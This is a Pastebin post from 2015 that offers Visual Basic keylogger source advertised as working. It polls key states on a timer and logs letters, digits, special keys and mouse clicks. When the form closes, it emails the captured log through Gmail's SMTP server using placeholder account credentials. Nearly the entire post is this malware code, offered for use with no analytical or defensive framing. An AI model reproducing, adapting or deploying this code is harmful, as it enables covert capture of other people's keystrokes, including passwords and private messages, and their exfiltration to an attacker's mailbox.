Advertisement
Dev

KeyLogger source Working 2015 sends to email [VB]

Dev
Oct 21st, 2015
30,796
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.61 KB | None | 0 0
  1.  
  2. Imports System.Net.Mail
  3. Public Class Form1
  4. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
  5. Public log As String
  6. Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
  7. Timer1.Start()
  8. End Sub
  9.  
  10. Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
  11. If (GetAsyncKeyState(65)) Then
  12. log = log + "A"
  13. ElseIf (GetAsyncKeyState(66)) Then
  14. log = log + "B"
  15. ElseIf (GetAsyncKeyState(67)) Then
  16. log = log + "C"
  17. ElseIf (GetAsyncKeyState(68)) Then
  18. log = log + "D"
  19. ElseIf (GetAsyncKeyState(69)) Then
  20. log = log + "E"
  21. ElseIf (GetAsyncKeyState(70)) Then
  22. log = log + "F"
  23. ElseIf (GetAsyncKeyState(71)) Then
  24. log = log + "G"
  25. ElseIf (GetAsyncKeyState(72)) Then
  26. log = log + "H"
  27. ElseIf (GetAsyncKeyState(73)) Then
  28. log = log + "I"
  29. ElseIf (GetAsyncKeyState(74)) Then
  30. log = log + "J"
  31. ElseIf (GetAsyncKeyState(75)) Then
  32. log = log + "K"
  33. ElseIf (GetAsyncKeyState(76)) Then
  34. log = log + "L"
  35. ElseIf (GetAsyncKeyState(77)) Then
  36. log = log + "M"
  37. ElseIf (GetAsyncKeyState(78)) Then
  38. log = log + "N"
  39. ElseIf (GetAsyncKeyState(79)) Then
  40. log = log + "O"
  41. ElseIf (GetAsyncKeyState(80)) Then
  42. log = log + "P"
  43. ElseIf (GetAsyncKeyState(81)) Then
  44. log = log + "Q"
  45. ElseIf (GetAsyncKeyState(82)) Then
  46. log = log + "R"
  47. ElseIf (GetAsyncKeyState(83)) Then
  48. log = log + "S"
  49. ElseIf (GetAsyncKeyState(84)) Then
  50. log = log + "T"
  51. ElseIf (GetAsyncKeyState(85)) Then
  52. log = log + "U"
  53. ElseIf (GetAsyncKeyState(86)) Then
  54. log = log + "V"
  55. ElseIf (GetAsyncKeyState(87)) Then
  56. log = log + "W"
  57. ElseIf (GetAsyncKeyState(88)) Then
  58. log = log + "X"
  59. ElseIf (GetAsyncKeyState(89)) Then
  60. log = log + "Y"
  61. ElseIf (GetAsyncKeyState(90)) Then
  62. log = log + "Z"
  63. ElseIf (GetAsyncKeyState(48)) Then
  64. log = log + "0"
  65. ElseIf (GetAsyncKeyState(49)) Then
  66. log = log + "1"
  67. ElseIf (GetAsyncKeyState(50)) Then
  68. log = log + "2"
  69. ElseIf (GetAsyncKeyState(51)) Then
  70. log = log + "3"
  71. ElseIf (GetAsyncKeyState(52)) Then
  72. log = log + "4"
  73. ElseIf (GetAsyncKeyState(53)) Then
  74. log = log + "5"
  75. ElseIf (GetAsyncKeyState(54)) Then
  76. log = log + "6"
  77. ElseIf (GetAsyncKeyState(55)) Then
  78. log = log + "7"
  79. ElseIf (GetAsyncKeyState(56)) Then
  80. log = log + "8"
  81. ElseIf (GetAsyncKeyState(57)) Then
  82. log = log + "9"
  83. ElseIf (GetAsyncKeyState(96)) Then
  84. log = log + "{Num0}"
  85. ElseIf (GetAsyncKeyState(97)) Then
  86. log = log + "{Num1}"
  87. ElseIf (GetAsyncKeyState(98)) Then
  88. log = log + "{Num2}"
  89. ElseIf (GetAsyncKeyState(99)) Then
  90. log = log + "{Num3}"
  91. ElseIf (GetAsyncKeyState(100)) Then
  92. log = log + "{Num4}"
  93. ElseIf (GetAsyncKeyState(101)) Then
  94. log = log + "{Num5}"
  95. ElseIf (GetAsyncKeyState(102)) Then
  96. log = log + "{Num6}"
  97. ElseIf (GetAsyncKeyState(103)) Then
  98. log = log + "{Num7}"
  99. ElseIf (GetAsyncKeyState(104)) Then
  100. log = log + "{Num8}"
  101. ElseIf (GetAsyncKeyState(105)) Then
  102. log = log + "{Num9}"
  103. ElseIf (GetAsyncKeyState(106)) Then
  104. log = log + "{Num*}"
  105. ElseIf (GetAsyncKeyState(107)) Then
  106. log = log + "{Num+}"
  107. ElseIf (GetAsyncKeyState(13)) Then
  108. log = log + "{Enter}"
  109. ElseIf (GetAsyncKeyState(109)) Then
  110. log = log + "{Num-}"
  111. ElseIf (GetAsyncKeyState(110)) Then
  112. log = log + "{Num.}"
  113. ElseIf (GetAsyncKeyState(111)) Then
  114. log = log + "{Num/}"
  115. ElseIf (GetAsyncKeyState(32)) Then
  116. log = log + " "
  117. ElseIf (GetAsyncKeyState(8)) Then
  118. log = log + "{Backspace}"
  119. ElseIf (GetAsyncKeyState(9)) Then
  120. log = log + "{Tab}"
  121. ElseIf (GetAsyncKeyState(16)) Then
  122. log = log + "{Shift}"
  123. ElseIf (GetAsyncKeyState(17)) Then
  124. log = log + "{Control}"
  125. ElseIf (GetAsyncKeyState(20)) Then
  126. log = log + "{Caps}"
  127. ElseIf (GetAsyncKeyState(27)) Then
  128. log = log + "{Esc}"
  129. ElseIf (GetAsyncKeyState(33)) Then
  130. log = log + "{PGup}"
  131. ElseIf (GetAsyncKeyState(34)) Then
  132. log = log + "{PGdn}"
  133. ElseIf (GetAsyncKeyState(35)) Then
  134. log = log + "{End}"
  135. ElseIf (GetAsyncKeyState(36)) Then
  136. log = log + "{Home}"
  137. ElseIf (GetAsyncKeyState(37)) Then
  138. log = log + "{LArrow}"
  139. ElseIf (GetAsyncKeyState(38)) Then
  140. log = log + "{UArrow}"
  141. ElseIf (GetAsyncKeyState(39)) Then
  142. log = log + "{RArrow}"
  143. ElseIf (GetAsyncKeyState(40)) Then
  144. log = log + "{DArrow}"
  145. ElseIf (GetAsyncKeyState(45)) Then
  146. log = log + "{Insert}"
  147. ElseIf (GetAsyncKeyState(46)) Then
  148. log = log + "{Del}"
  149. ElseIf (GetAsyncKeyState(144)) Then
  150. log = log + "{NumLock}"
  151. ElseIf (GetAsyncKeyState(188)) Then
  152. log = log + "{,}"
  153. ElseIf (GetAsyncKeyState(1)) Then
  154. log = log + "[L]"
  155. ElseIf (GetAsyncKeyState(2)) Then
  156. log = log + "[R]"
  157. End If
  158. End Sub
  159.  
  160. Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
  161. RichTextBox1.Text = log
  162. End Sub
  163.  
  164. Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
  165. sendmail()
  166. End Sub
  167.  
  168. Private Sub sendmail()
  169. Dim Mail As New MailMessage
  170. Mail.Subject = "Keylog"
  171. Mail.To.Add("youremailadres@gmail.com")
  172. Mail.From = New MailAddress("youremailadres@gmail.com")
  173. Mail.Body = log
  174. Dim SMTP As New SmtpClient("smtp.gmail.com")
  175. SMTP.EnableSsl = True
  176. SMTP.Credentials = New System.Net.NetworkCredential("youremailadres@gmail.com", "yourpassword")
  177. SMTP.Port = "587"
  178. SMTP.Send(Mail)
  179. End Sub
  180. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement